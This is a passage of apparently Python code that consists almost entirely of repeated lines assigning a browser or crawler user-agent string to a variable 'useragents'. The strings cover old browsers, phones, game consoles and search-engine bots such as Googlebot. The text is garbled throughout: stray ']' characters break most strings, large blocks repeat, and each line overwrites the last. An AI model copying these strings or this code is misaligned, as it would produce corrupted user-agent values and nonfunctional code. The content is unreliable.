U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/5.0 (compatible; 008/0.83; http://www.80legs.com/webcrawler.html)] Gecko/2008032620')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)] AddSugarSpiderBot www.idealobserver.com')] useragents = [('User-agent','Mozilla/5.0 (compatible; AnyApexBot/1.0; +http://www.anyapex.com/bot.html)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; Arachmo)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; B-l-i-t-z-B-O-T)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; BecomeBot/2.3; MSIE 6.0 compatible; +http://www.become.com/site_owners.html)]')] useragents = [('User-agent','BillyBobBot/1.0 (+http://www.billybobbot.com/crawler/)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm)]')] useragents = [('User-agent','Sqworm/2.9.85-BETA (beta_release; 20011115-775; i686-pc-linux-gnu)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexImages/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YodaoBot/1.0; http://www.yodao.com/help/webmaster/spider/; )]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 Dead Link Checker (wn.dlc@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/4.0 compatible ZyBorg/1.0 (wn-16.zyborg@looksmart.net; http://www.WISEnutbot.com)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; U; ABrowse 0.6; Syllable)] AppleWebKit/420+ (KHTML, like Gecko)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; Acoo Browser; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; Avant Browser)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser; GTB6; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)] ; InfoPath.1; .NET CLR 3.5.30729; .NET CLR 3.0.30618)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Acoo Browser; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en)] AppleWebKit/419 (KHTML, like Gecko, Safari/419.3)] Cheshire/1.0.ALPHA')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.2 (KHTML, like Gecko)] ChromePlus/4.0.222.3 Chrome/4.0.222.3 Safari/532.2')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US)] AppleWebKit/534.10 (KHTML, like Gecko)] Chrome/8.0.552.215 Safari/534.10 ChromePlus/1.5.1.1')] useragents = [('User-agent','Links (2.7; Linux 3.7.9-2-ARCH x86_64; GNU C 4.7.1; text)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; Intel Mac OS X 10_9_3)] AppleWebKit/537.75.14 (KHTML, like Gecko)] Version/7.0.3 Safari/7046A194A')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 3.55)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 2.00)]')] useragents = [('User-agent','Mozilla/5.0 (PLAYSTATION 3; 1.00)]')] useragents = [('User-agent','Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0)] Gecko/20100101 Thunderbird/24.4.0')] useragents = [('User-agent','Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)]')] useragents = [('User-agent','SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3)] Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729)] (Prevx 3.0.5)] ')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8)] Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none)])]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en)] Opera 8.51')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1)] Gecko/20060111 Firefox/1.5.0.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp)] AppleWebKit/417.9 (KHTML, like Gecko)] Safari/417.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12)] Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru)] Presto/2.4.15')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US)] AppleWebKit/125.4 (KHTML, like Gecko, Safari)] OmniWeb/v563.57')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 )] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5)] Gecko/20060706 K-Meleon/1.0')] useragents = [('User-agent','Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')] useragents = [('User-agent','Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)]')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de)] AppleWebKit/418 (KHTML, like Gecko)] Shiira/1.2.2 Safari/125')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686 (x86_64)]; en-US; rv:1.8.1.6)] Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)]')] useragents = [('User-agent','Mozilla/5.0 (SymbianOS/9.1; U; en-us)] AppleWebKit/413 (KHTML, like Gecko)] Safari/413')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)]')] useragents = [('User-agent','Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; Konqueror/4.3; Linux)] KHTML/4.3.5 (like Gecko)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)]')] useragents = [('User-agent','Opera/9.80 (Macintosh; U; de-de)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9)] Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)] Gecko/20060706 IEMobile/7.0')] useragents = [('User-agent','Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us)] AppleWebKit/531.21.10 (KHTML, like Gecko)] Version/4.0.4 Mobile/7B334b Safari/531.21.10')] useragents = [('User-agent','Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US)] AppleWebKit/534.16 (KHTML, like Gecko)] Chrome/10.0.648.205 Safari/534.16')] useragents = [('User-agent','Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.2; U; ru)] Presto/2.5.22 Version/10.51')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)]')] useragents = [('User-agent','Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7)] Gecko/20091221 Firefox/3.5.7')] useragents = [('User-agent','BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')] useragents = [('User-agent','Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.)] Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)]')] useragents = [('User-agent','Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)]')] useragents = [('User-agent','Opera/9.80 (Windows NT 5.1; U; en-US)] Presto/2.8.131 Version/11.10')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4)] Gecko/20050720 Minimo/0.007')] useragents = [('User-agent','BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Googlebot/2.1 (http://www.googlebot.com/bot.html)]')] useragents = [('User-agent','Opera/9.20 (Windows NT 6.0; U; en)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1)] Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)]')] useragents = [('User-agent','Opera/10.00 (X11; Linux i686; U; en)] Presto/2.2.0')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL)] AppleWebKit/528.16 (KHTML, like Gecko)] Version/4.0 Safari/528.16')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13)] Gecko/20101209 Firefox/3.6.13')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3)] Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8)] Gecko/20100804 Gentoo Firefox/3.6.8')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7)] Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')] useragents = [('User-agent','Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)]')] useragents = [('User-agent','Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)]')] useragents = [('User-agent','YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)]')] useragents = [('User-agent','Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3)] Gecko/20090913 Firefox/3.5.3')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3)] Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)]')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1)] Gecko/20090718 Firefox/3.5.1')] useragents = [('User-agent','Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US)] AppleWebKit/532.1 (KHTML, like Gecko)] Chrome/4.0.219.6 Safari/532.1')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)]')] useragents = [('User-agent','Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; 